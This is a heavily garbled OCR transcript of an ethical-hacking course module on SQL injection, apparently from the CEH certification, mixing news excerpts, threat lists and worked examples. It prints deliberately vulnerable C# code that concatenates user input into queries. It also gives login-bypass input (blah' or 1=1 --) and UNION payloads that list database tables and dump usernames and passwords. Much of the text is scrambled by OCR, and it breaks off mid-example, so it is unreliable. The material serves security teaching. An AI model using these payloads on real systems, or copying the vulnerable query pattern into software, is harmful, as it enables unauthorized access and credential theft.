Top Banner
SQL Injection Module 14
148
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
  • 1.S Q L In je c tio nModule 14

2. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerSQL Injection IV/lnrlnlo 1AE t h ic a l H a c k i n g a n d C o u n t e r m e a s u r e s V8 M o d u l e 1 4 : S Q L I n je c t io n E x a m 3 1 2 -5 0Module 14 Page 1987Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 3. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerSecurity News Barclays: 97 Percent of Data Breaches Still due to S Q L Injection SQ injection attacks have been around for m than ten years, L ore an security professionals are m than capable of protecting d ore ag st them yet 9 percent of data breaches worldwide are still due ain ; 7 to an SQ injection som here along the lin according to N Jones, L ew e, eira head of paym security for Barclaycard. ent Speaking at the Infosecurity Europe Press Conference in London this w eek, Jones said that hackers are taking advantage of businesses with inadequate an often outdated inform d ation security practices. C g the m recent itin ost fig res fromthe N u ational Fraud A uthority, she said that identity fraud co sts the U m than .7 b n every year, and affects m than 1 m n K ore 2 illio ore .8 illio people. "Data breaches have becom a statistical certainty," saidJones. "If you look e at w the p b individ is concerned about, protecting personal hat u lic ual inform ation isactually at the sam level inthe scale of p lic social concerns e ub as preventing crim e."http://news.techworld.com Copyright b y EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited.S e c u rity N ew s NeuisB a r c l a y s : 97 P e r c e n t o f D a t a B r e a c h e s S t i l l D u e t o S Q L In je c tio n Source: http://news.techworld.comSQL injection attacks have been around for more than ten years, and security professionals are more than capable of protecting against them; yet 97 percent of data breaches worldwide are still due to an SQL injection somewhere along the line, according to Neira Jones, head of payment security for Barclaycard. Speaking at the Infosecurity Europe Press Conference in London this week, Jones said that hackers are taking advantage of businesses with inadequate and often outdated information security practices. Citing the most recent figures from the National Fraud Authority, she said that identity fraud costs the UK more than 2.7 billion every year, and affects more than 1.8 million people. "Data breaches have become a statistical certainty," said Jones. "If you look at what the public individual is concerned about, protecting personal information is actually at the same level in the scale of public social concerns as preventing crime."Module 14 Page 1988Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 4. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerSQL injection is a code injection technique that exploits security vulnerability in a website's software. Arbitrary data is inserted into a string of code that is eventually executed by a database. The result is that the attacker can execute arbitrary SQL queries or commands on the backend database server through the web application. In October2011,for example, attackers planted malicious JavaScript on Microsoft's ASP.Netplatform. This caused the visitor's browser to load an iframe with one of two remote sites. From there, the iframe attempted to plant malware on the visitor's PC via a number of browser drive-by exploits. Microsoft has been offering ASP.Net programmers information on how to protect against SQL injection attacks since at least 2005. However, the attack still managed to affect around 180,000 pages. Jones said that, with the number of interconnected devices on the planet set to exceed the number of humans by 2015, cybercrime and data protection need to take higher priority on the board's agenda. In order for this to happen, however, the Chief Information Security Officer (CISO) needs to assess the level of risk within their organisation, and take one step at a time. "I always say, if anyone says APT [advanced persistent threat] in the room, an angel dies in heaven, because APTs are not the problem," said Jones. "I'm not saying that they're not real, but let's fix the basics first. Are organisations completely certain they're not vulnerable to SQL injections? And have they coded their web application securely?" Generally it takes between 6 and 8 months for an organisation to find out it has been breached, Jones added. However, by understanding their risk profile and taking simple proactive measures, such as threat scenario modelling, companies could prevent 87 percent of attacks.Copyright IDG 2012 By Sophie Curtis http://news.techworld.com/securitv/3331283/barclavs-97-percent-of-data-breaches-still-due-tosal-iniection/Module 14 Page 1989Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 5. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerM odule Objectives JNetwork Reconnaissance Using SQL InjectionJSQL Injection ToolsJ JEvasion Technique How to Defend Against SQL Injection AttacksJSQL Injection DetectionPassword GrabbingJSQL Injection Detection ToolsSQL Injection AttacksJBypass Website Logins Using SQL InjectionJJ SQL Injection J JSQL Injection Attack CharactersJ Testing for SQL Injection J Types of SQL Injection JBlind SQL InjectionJCEHSQL Injection MethodologyJ Advanced SQL InjectionCopyright b y EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited.M o d u le O b je c tiv e s This module introduces you the concept of SQL injection and how an attacker can exploit this attack methodology on the Internet. At the end of this module, you will be familiar with: eSQL InjectionAdvanced SQL InjectioneSQL Injection AttackssBypass Website Logins Using SQL InjectioneSQL Injection DetectionQPassword GrabbingQSQL Injection Attack CharactersQNetwork Reconnaissance Using SQL Injection0Testing for SQL InjectioneSQL Injection ToolseTypes of SQL InjectioneEvasion TechniqueeBlind SQL InjectioneHow to Defend Against SQL Injection AttackseSQL Injection MethodologyQSQL Injection Detection ToolsModule 14 Page 1990Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 6. Ethical Hacking and Countermeasures SQL InjectionI iExam 312-50 Certified Ethical HackerM o d u le F lo w To understand SQL injection and its impact on the network or system, let us beginwith the basic concepts of SQL injection. SQL injection is a type of code injection method that exploits the safety vulnerabilities that occur in the database layer of an application. The vulnerabilities mostly occur due to the wrongly filtered input for string literal escape characters embedded in SQL statements from the users or user input that is not strongly typed and then suddenly executed without correcting the errors.Module 14 Page 1991Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 7. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical Hacker*SQL Injection ConceptsTesting for SQL Injection^Advanced SQL InjectionSQL Injection ToolsTypes of SQL Injection) :^ ^Evasion TechniquesBlind SQL Injectiony Countermeasuresv SQL Injection MethodologyThis section introduces you to SQL injection and the threats and attacks associated with it.Module 14 Page 1992Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 8. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerSQL Injection csQ SQL Injection is the9 It is a fla w in W e bQ M o st program m ers aremost com m on w e b siteA p p licatio n s and not astill not a w a re of thisv u ln e ra b ility on thedatabase or w ebthreatInternetse rver issue Copyright b y EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.1SQ LSQL In je c tio n SQL injection is a type of web application vulnerability where an attacker canmanipulate and submit a SQL command to retrieve the database information. This type of attack mostly occurs when a web application executes by using the user-provided data without validating or encoding it. It can give access to sensitive information such as social security numbers, credit card numbers, or other financial data to the attacker and allows an attacker to create, read, update, alter, or delete data stored in the backend database. It is a flaw in web applications and not a database or web server issue. Most programmers are still not aware of this threat.Module 14 Page 1993Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 9. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerScenario v o la tility s u b d u e d_ rt. 3 Qu 1j . vAlbert Gonzalez, an indicted hacker stole 130 million credit and debit cards, the biggest identity theft case ever prosecuted in the United States. He used SQL injection attacks to install sniffer software on the companies' servers to intercept credit card data as it was being processed. http ://www. theregister.co. ukpro** 1 B u s i n e s s ^w o r l dnomic upturn0p 11. ml s t i clid a s s e t sCopyright b y EC-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.aS c e n a rio Albert Gonzalez, an indicted hacker stole 130 million credit and debit cards,performed the biggest identity theft case ever prosecuted in the United States. He used SQL injection attacks to install sniffer software on companies' servers to intercept credit card data as it was being processed.Module 14 Page 1994Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 10. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerSQL Injection Is the M ost Prevalent Vulnerability in 2012CEHSQL Injection Unknown DD0SD efacem ent Targeted Attack DNS Hijack Password Cracking Account HijackingJava VulnerabilityOtherhttp://hackmageddon.com Copyright b yEG-G*ancil. AllRights Reserved. Reproduction Is Strictly Prohibited.Source: http://hackmageddon.com According to http://hackmageddon.com. SQL injection is the most commonly used attack by the attacker to break the security of a web application. From the following statistics that were recorded in September 2012, it is clear that, SQL injection is the most serious and mostly used type of cyber-attack performed these days when compared to other attacks.Module 14 Page 1995Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 11. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerSQL Injection Unknown DDoS Defacement Targeted Attack DNS Hijack Password C racking Account Hijacking Java Vulnerability OtherFIGURE 14.1: SQL InjectionModule 14 Page 1996Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 12. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerSQL Injection ThreatsCEHU rtifMIthKJl lUckMO Spoofing IdentityC hanging Price Tam w per ith D atabase Records^ '/ . - M odifying Records : Escalation of PrivilegesVoiding Machine's ^Critical TransactionsD enialofService on the ServerComplete Disclosure of all Data on the System .D estruction of D ataCopyright by EG-GtUIICil. All Rights R eserved. Reproduction is Strictly ProhibitedySQL In je c tio n T h re a ts The following are the major threats of SQL injection:9Spoofing identity: Identity spoofing is a method followed by attackers. Here people are deceived into believing that a particular email or website has originated from the source which actually is not true. Changing prices: One more of problem related to SQL injection is it can be used to modify data. Here the attackers enter into an online shopping portal and change the prices of product and then purchase the products at cheaper rates. QTamper with database records: The main data is completely damaged with data alteration; there is even the possibility of completely replacing the data or even deleting the data.QEscalation of privileges: Once the system is hacked, the attacker seeks the high privileges used by administrative members and gains complete access to the system as well as the network.9Denial-of-service on the server: Denial-of-service on the server is an attack where users aren't able to access the system. More and more requests are sent to the server, which can't handle them. This results in a temporary halt in the services of the server.Module 14 Page 1997Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 13. Ethical Hacking and Countermeasures SQL Injection0Exam 312-50 Certified Ethical HackerComplete disclosure of all the data on the system: Once the network is hacked the crucial and highly confidential data like credit card numbers, employee details, financial records, etc. are disclosed.0Destruction of data: The attacker, after gaining complete control over the system, completely destroys the data, resulting in huge losses for the company. Voiding system's critical transaction: An attacker can operate the system and can halt all the crucial transactions performed by the system. 0Modifying the records: Attackers can modify the records of the company, which proves to be a major setback for the company's database management system.Module 14 Page 1998Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 14. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical Hacker-What Is SQL Injection?CEHSQL injection is a technique used to take advantage of non-validated input vulnerabilities to pass SQL commands through a web application for execution by a backend database SQL injection is a basic attack used to either gain unauthorized access to a database or to retrieve information directly from the databaseCopyright b y EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited.SOLW h a t Is SQL In je c tio n ? Structured Query Language (SQL) is basically a textual language that enables interaction with a database server. SQL commands such as INSERT, RETRIEVE, UPDATE, and DELETE are used to perform operations on the database. Programmers use these commands to manipulate data in the database server. SQL injection is defined as a technique that takes advantage of non-validatedinputvulnerabilities and injects SQL commands through a web application that are executed in a back-enddatabase.ProgrammersusesequentialSQLcommandswithclient-suppliedparameters making it easier for attackers to inject commands. Attackers can easily execute random SQL queries on the database server through a web application. Attackers use this technique to either gain unauthorized access to a database or to retrieve information directly from the database.Module 14 Page 1999Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 15. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerJ On the basis of application used and the way it processes user supplied data, SQL injection can be used to implement the attacks mentioned below: A u th e n tic a tio n B y p a s sU gth attack, an attacker lo sonto anap lication sin is g p w ithout p vid gvalid u nam an p o ro in ser e d assw rd an g s ad inistrative p d ain m rivileg es R e m o te C o d e E x e c u t io nIn fo r m a t io n D is c lo s u r eIt assistsan attacker to com prom the host O ise SU gth attack, anattacker sin is o tain sen b s sitive inform ation that issto inthe d ase red atabC o m p r o m is e dC o m p r o m is e d D a ta In t e g r it yA v a ila b ilit y o f D a taA attacker u th attackto d n ses is eface a w p e in m eb ag , sert aliciouscontent in to w p es, or alter the contents of a eb ag d ase atabA ttackers u th attacktodelete se is the d atabase in ation delete form , lo , or au it in ation that is g d form sto ina d ase red atab/Copyright b y EG-CMMCil. All Rights JteSeivecL R ep ro d u ctio n is Strictly Prohibited.SQL In je c tio n A tta c k s Based on the application and how it processes user-supplied data, SQL injection can be used to perform the following types of attacks: aAuthentication bypass: Here the attacker could enter into thenetwork withoutproviding any authentic user name or password and could gain the access over the network. He or she gets the highest privilege in the network. Q Information disclosure: After unauthorized entry into the network,the attacker getsaccess to the sensitive data stored in the database. QCompromised data integrity: The attacker changes the main content of the website and also enters malicious content into it.Compromised availability of data: The attacker uses this type of attack to delete the data related to audit information or any other crucial database information.Remote code execution: An attacker could modify, delete, or create data or even can create new accounts with full user rights on the servers that share files and folders. It allows an attacker to compromise the host operating system.Module 14 Page 2000Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 16. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerHow Web Applications WorkCEHh ttp://juggyboy.com /?id= 6329& print= YInternetW e b S erverFirew allOS System CallsOperating SystemIDTechW e b A pplicationTopic6329DBM SSELECT * from news where id = 6329CNN O utputCopyright b yEC-ClUIICil. AllRights Reserved. Reproduction is Strictly Prohibited.H ow W eb A p p lic a tio n s W ork A web application is a software program accessed by users over a network through a web browser. W eb applications can be accessed only through a web browser (Internet Explorer, Mozilla Firefox, etc.). Users can access the application from any computer of a network. Based on web applications, web browsers also differ to some extent. Overall response time and speed is dependent on connection speed.Step 1: The user requests through the web browser from the Internet to the web server. Step 2: The W eb Server accepts the request and forwards the request sent by the user to the applicable web application server.Step 3: The web application server performs the requested task. Step 4: The web applications accesses the entire database available and responds to the web server.Step 5: The web server responds back to the user as the transaction is complete. Step 6: Finally the information that the user requested appears on the monitor of the user.Module 14 Page 2001Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 17. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerIDTopicNew s6329TechCNNSELECT * from news where id = 6329FIGURE 14.2: Working of Web ApplicationsModule 14 Page 2002Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 18. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerServer-side TechnologiesCEHPowerful server-side technologies like ASP.NET and database servers allow developers to create dynam ic, data-driven websites with incredible easeThe power of ASP.NETand SQL can easily be exploited by hackers using SQL injection attacksSQLServerA relational databases,SQLServer, Oracle, IBM D ll B2, and MySQL, are susceptible to SQL-injection attacksSQ injection attacks do not exploit a specific softw L are vulnerability, instead they target websites that do not follow secure coding practices for accessing and m anipulating data stored in a relational database Copyright b y EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.S e rv e r-sid e T e c h n o lo g ie s This technology is used on the server side for client/server technology. For achieving business success, not only information is important, but we also need speed and efficiency. Server-side technology helps us to smoothly access, deliver, store, and restore information. Various server-side technologies include: ASP, ASP.Net, Cold Fusion, JSP, PHP, Python, and Ruby on Rails. Server side technologies like ASP.NET and SQL can be easily exploited by using SQL injections. QPowerful server-side technologies like ASP.NET and database servers allow developers to create dynamic, data-driven websites with incredible ease.QAll relational databases, SQL Server, Oracle, IBM DB2, and MySQL, are susceptible to SQL injection attacks.eSQL injection attacks do not exploit a specific software vulnerability; instead they target websites that do not follow secure coding practices for accessing and manipulating data stored in a relational database. The power of ASP.NET and SQL can easily be exploited by attackers using SQL injection attacks.Module 14 Page 2003Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 19. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerCEHHTTP Post R equest h ttp :// ju ggyb oy.com /lo gon .aspx ?usern am e= bart& p assw ord= sim p so nAccount Login Usern am e PasswordJ^ b artsimp!W h e n a user provides inform ation and clicks Subm it, th e brow ser subm its a string to th e w eb server th at contains the user's credentials This string is visible in th e body of the HTTP or HTTPS POST request as:SQL query at the database select * from Users where (username = 1 a r t 1 and b password = simpson1); Username: Password: a........... .............. ................ .......................... ..Copyright b yEG-G*ancil. AllRights Reserved. Reproduction is Strictly Prohibited.H TTP P ost R eq u est An HTTP POST request creates a way of passing larger sets of data to the server. The HTTP POST requests are ideal for communicating with an XM L web service. These methods are designed for data submission and retrieval on a web server. W hen a user provides information and clicks Submit, the browser submits a string to the web server that contains the user's credentials. This string is visible in the body of the HTTP or HTTPS POST request as: SQL query at the database s e le c t * from U sers where (username = ,b a r t 'and password = 's im p s o n '); Username: < input typ e= text name=username> Password: C in p ut type=submit value=Login>Module 14 Page 2004Ethical Hacking and Countermeasures Copyright by EC-COUIICil All Rights Reserved. Reproduction is Strictly Prohibited. 20. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerExample 1: Normal SQL Query I Q Qhttp://juggyboy.com/BadLogin.aspxB a d L o g in . a s p x . c s p r iv a t ev o idc m d L o g inS y s te m . E v e n tA r g s {9jy B o y .c o ms trin gs trC n xC lic k (o b je c tse n d e r,e ) =" se rve r= l o c a l h o s t ; d a t a b a s e = n o r t h w i n d /u i d = s a ; p w d = ; " ; S q lC o n n e c tio ncnx= newS q lC o n n e c t io n (s tr C n x )c n x .O p e n ( ) ;/ / T h iscodeiss u s c e p t ib letoSQ Lin je c t io na tta c k s .string strQry = "SELECT Count(*) FROM Users W HERE U s e r N a m e + "' t x t U ser.Text + " AND Password + " txtPasswo r d . T e x t +in tin tR e c s ;S q lC o m m a n d in t R e c sWeb Browseri fcm d new(in t)(in t R e c s > 0 )S q lC o m m a n d (s tr Q r y ,cnx) ;cm d.E x e c u t e S c a la r ( ) ; {F o r m s A u t h e n t ic a t io n .R e d ir e c tF r o m L o g in P a g e (tx tU s e r .T e x t,f a ls e );lb lM s g .T e x tC onstructed SQ L Q u e rySELECT Count(*) FROM Users WHERE UserName=Jason1 AND Password Springfield1Server-side Code (BadLogin.aspx)/Copyright b y EC - C M IC il. All Rights JteServ ed lR ep ro d u ctio n Is Strictly Prohibited.E x a m p l e 1: N o r m a l S Q L Q u e r y Here the term "query" is used for the commands. All the SQL code is written in the form of a query statement and finally executed. Various data operations of the SQL queries include selection of the data, inserting/updating of the data, or creating data objects like databases and tables with SQL. All the query statements begin with a clause such as SELECT, UPDATE, CREATE, and DELETE. SQL Query Examples:Module 14 Page 2005Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 21. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical Hackerhup://]uggyboy ( 0ii1/BkI login wvpxBJ u g g y B o y .c o mb o d L o g rn . a c p x . ce p r i v a t e v o i d c m d L o g 1 n _ C 1 1 c k (o b je c t s e n d e r , S y s te n .E v e n tA r g s e) < s t r i n g s trC n x = s e r v o r= lo c A l h o s t ; d a t a b a a o n o r t h H 1 n d ;u i d - s a ?p w d - ; " ; S q l C o n n e c t io n c n x = new S q l C o n n e c t i o n ( s t r C n x ) ; c n x . Open ( ) ; / / T h is cod e i s a tta c k s . s trin g U se rs " W eb Brow serConstructed SQL Query SELEC TC o u n t( )U s e r N a 1*e = ' T a s o n 'FRO M U s e r s AN DW HEREW HEREANDs u s c a p t ib les trQ ry=to SELEC TU se rN a m e = ' P a s s w o r d * '"+SQ L i n j e c t i o n C o u n t ( * ) +FRO Mtx tU s e r.T e x ttx tP a s s w o rd . T e x t+ +i n t m tR e c s ; S q lC o aaa an d e n d = new SqlCom m and ( s t r Q r y , c n x ) : m t R e c s = ( i n t ) crad . E x e c u t e S c a l a r () ; i f (in t R e c s > 0 ) { F o r m s A u t h e n t ic a t io n . R e d ir e c t F r o m L o g in P a g e ( t x t U s e r .T e x t, f a l s e ) ; ) e l s e { lf c lM s g . T e x t = " L o g i n a t t e m p t f a i l e d . " ; } c n x .C lo s e () ;)P a s s w o rd ' S p r in g f ie ld *Server Side Code (BadLogin.aspx)FIGURE 14.3: SQL Query Exam pleModule 14 Page 2006Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 22. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerCEHExample 1: SQL Injection Query I Q Qhttp://juggyboy.com/BadLogin.aspx9jy B o y .c o mAttacker Launching SQL InjectionSELECT Count(*) FR M Users W ERE UserNam Blah' or 1 1 --1 A D Password='Springfield1 O H e=1 = N SELECT Count(*) FR M Users W ERE UserNam Blah' or 1 1 O H e= =' A D Password='Springfield1 NSQL Query ExecutedCode after are now com ents m Copyright b y EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. E x a m p l e 1: S Q L I n j e c t i o n Q u e r y The most common operation in SQL is the query, and it is performed with the declarative SELECT statement. This SELECT command retrieves the data from one or more tables. SQL queries allows a user to describe or assign the desired data, and leave the DBMS (Data Base Management System) as responsible for optimizing, planning, and performing the physical operations. A SQL query includes a list of columns to be included in the final result of the SELECT keyword. If the information submitted by a browser to a web application is inserted into a database query without being properly checked, then there may be a chance of occurrence of SQL injection. HTML form that receives and passes the information posted by the user to the Active Server Pages (ASP) script running on IIS web server is the best example of SQL injection. The information passed is the user name and password. By querying a SQL server database these two data items are checked. username B la h ' o r 1=1 password S p r in g f ie ld The query executed is: SELECT C o u n t(*) FROM U sers Password ' S p r i n g f i e l d 1;Module 14 Page 2007WHEREUserName=' B la h 'or1=1--ANDEthical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 23. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerHowever, the ASP script builds the query from user data using the following line: B la h query = 1SELECT * FROM u sers WHERE username = 1" + B la h 1 or 1=1 1 + ' AND password = + S p r in g f ie ld + If the user name is a single-quote character (') the effective query becomes: SELECT * FROM ' [S p r in g fie ld ]';s e rsWHEREusername=111ANDpassword=This is invalid SQL syntax and produces a SQL server error message in the user's browser: M ic r o s o ft OLE DB P r o v id e r f o r ODBC D r iv e r s e r r o r'80040el4'[M icro so ft][O D B C SQL S e r v e r D r iv e r ][S Q L S e rv e r]U n c lo s e d q u o ta tio n mark b e fo re the c h a r a c te r s t r in g ' and p assw ord = ''./ lo g in .a s p , l i n e 16 The quotation mark provided by the user has closed the first one, and the second generates an error, because it is unclosed. At this instance, to customize the behavior of a query, an attacker can begin injecting strings into it. The content proceeding the double hyphes (--) signify a Transact-SQL comment. 013nttp://|usfivt>0Y com/Badiofiin.aspx^B o y .c o mp a 1=1- ! Blah or [SELECT Count(*)Springfield< ..................................A ttacker Launching SQ L Injectio nFROM Users WHERE UserName B l a h ' or 1"1 --' AND Password' Springfield'SQ L Q u e ry ExecutedCode after are com mentsFIGURE 14.4: SQL Injection Query Exam pleModule 14 Page 2008Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 24. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerCEHExam ple 1: Code Analysis When the attacker enters blah' or 1 1 - then the SQL query w = ill look like: SELECT Count(*) FRO M Users W HERE UserName='blah Or 1 1 = A D Password='' N Because a pair of hyphens designate the beginning of a com ent in SQ the query sim m L, ply becom es: SELECT Count(*) FRO M Users W HERE UserName='blah' Or 1 1 =A user enters a user name and password that matches a record in the user's table J A dynamically generated SQL query is used to retrieve the number of matching rows J The user is then authenticated and redirected to the requested pagestring strQry = "SELECT Count(*) FROM Users WHERE U s e r N a m e + "' txtUser.Text + AND Password" + t x t P a s s w o r d .Text + . ; .Copyright b y EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited.E x a m p l e 1: C o d e A n a l y s i s Code analysis is the process of automated testing of the source code for the purpose of debugging before the final release of the software for the purpose of sale or distribution. aA user enters a user name and password that matches a record in the Users tableA dynamically generated SQL query is used to retrieve the number of matching rows The user is then authenticated and redirected to the requested page W hen the attacker enters blah' or 1=1 - then the SQL query can look like: SELECT Count Password' ' (*)FROMU sersWHEREUserName=' b l a h 'Or1=1 'ANDBecause a pair of hyphens designates the beginning of a comment in SQL, the query simply becomes: SELECT Count (*)FROM U sers WHERE UserName=' b la h ' Or 1=1s t r in g s trQ ry = "SELECT C o u n t(*) FROM U sers WHERE tx tU s e r .T e x t + 1 ' AND Passw ord= '" + tx tP a s s w o rd . Text + 1Module 14 Page 2009UserName='"+Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 25. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerExample 2: BadProductList.aspxCEHThis page displays productsGO p r iv a tefrom the Northwind database and allows usershttp://juggyboy.com/BadProductList.aspxto filter the resulting list of v o idc m d F ilt e r _ C lic }c (o b je c td g r P r o d u c t s . C u r re n tP a g e ln d e x b in d D a ta G r id ( ) ; }sen d e r.S y s te m .E v e n tA r g se)products using a textbox called txtFilter{= 0;p r i v a t e v o id b in d D a t a G r id () { d g rP ro d u c ts .D a ta S o u rc e = c r e a t e D a t a V ie w (); d g r P r o d u c ts .D a ta B in d ( ) ; p r iv a teD a t a V ie w)c re a te D a ta V ie w ()Lik the previous e exam (BadLogin.aspx), ple this code isvulnerable to SQ injection attacks L{s t r in g s trC n x = " s e r v e r l o c a l h o s t ; u id = s a ;p w d = ; d a ta b a s e n o r t h w in d ; " ; s trin gs trS Q L -"S E L E C T"Q u a n tity P e r U n it , / / T h is i fcodeisP r o d u c t ld ,U n it P r ic es u s c e p t ib leto( t x t F i l t e r .T e x t . L e n g th 8 trS Q LS q lC o n n e c t io n+cnxW H EREP ro d u c tN a m e ,"SQ L i n j e c t i o n > 0)a tta c k s .{P ro d u c tN a m eL IK E+t x t F i l t e r .T e x t < ; new S q l C o n n e c t i o n ( s t r C n x ) ; S q l D a t a A d a p t e r s d a = new S q l D a t a A d a p t e r ( s t r S Q L , D a t a T a b le d t P r o d u c t s = new D a t a T a b l e ( ) ; sd a.F ill(d t P r o d u c t s ); re tu rnFROM P r o d u c t s " ;The executed SQ is L constructed dynam ically froma u ser-su p p lied in u ptc n x );Attack Occurs Hered tP r o d u c ts .D e fa u ltV ie w ;Copyright b yEG-Giancil. AllRights Reserved. Reproduction is Strictly Prohibited.E x a m p l e 2: B a d P r o d u c t L i s t . a s p x Source: http://msdn.microsoft.com This page displays products from the Northwind database and allows users to filter the resulting list of products using a textbox called txtFilter. Like the last example, the page is ripe for SQL injection attacks because the executed SQL is constructed dynamically from a userentered value. This particular page is a hacker's paradise because it can be hijacked by the astute hacker to reveal secret information, change data in the database, damage the database records, and even create new database user accounts. Most SQL-compliant databases including SQL Server, store metadata in a series of system tables with the names sysobjects, syscolumns, sysindexes, and so. This means that a hacker could use the system tables to ascertain schema information for a database to assist in the further compromise of the database. For example, the following text entered into the txtFilter textbox might be used to reveal the names of the user tables in the database: UNION SELECT id , name,0 FROM s y s o b je c ts WHERE xtype = 'U ' --The UNION statement in particular is useful to a hacker because it allows him or her to splice the results of one query onto another. In this case, the hacker has spliced the names of the user tables in the database to the original query of the Products table. The only trick is to match the number and data types of the columns to the original query. The previous query might revealModule 14 Page 2010Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 26. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical Hackerthat a table named Users exists in the database. A second query could reveal the columns in the Users table. Using this information, the hacker might enter the following into the txtFilter textbox: UNION SELECT 0, UserName, Password, 0 FROM U sers -Entering this query reveals the user names and passwords found in the Users table.p r i v a t e v o id c m d r i lt e r _ c l ic k ( 0b j e c t s e n d e r, S y ste a .E v e n tA rg s e) d g rP ro d u c ts . C u rren tP ag eIn d ex = 0; b in d O a t a O r id () ; ){p r iv a t e v o id b in d O a ta O rid () ( d g rP ro d u c ts . D ataSource = c r e a te D a ta V ie w (); d g rP ro d u c ts . D a ta B in d ( ) ; ) p r i v a t e D ataV iew c re a te D a ta V ie w () ( s t r in g strC n x = " s e r v e r =lo c a lh o s t ;u id = s a , pwd= datab a se=n o rth w ln d ' s t r in g strSQL = "SELECT ProductXd, ProductN ane, H " Q u a n tlty P e r U n lt, U n itP r ic e FROM P r o d u c t s ':FIGURE 14.5: BadProductList.aspxModule 14 Page 2011Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 27. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerExam ple 2: Attack A nalysisCEHUrtfWAttacker Launching SQL InjectionJblah' UNION Select 0, username, password 0 from users Usernam es and Passwords are displayedFIGURE 14.6: Attack AnalysisModule 14 Page 2013Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 29. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerExample 3: Updating TableE x a m p l e 3: U p d a t i n g T a b l e To create the UPDATE command in the SQL query the syntax is: UPDATE " table_nam e" SET "co lu m n _l" = [new v a lu e ] WHERE {c o n d itio n } For example, say we currently have a table as follows: Table Store Information Store_Nam eSalesDateSydney$100Aug-06-2012Melbourne$200Aug-07-2012Queensland$400AUg-08-2012Victoria$800Aug-09-2012TABLE 14.1: Store Table And we notice that the sales for Sydney on 08/06/2012 are actually $250 instead of $100, and that particular entry needs to be updated. To do so, we use the following SQL 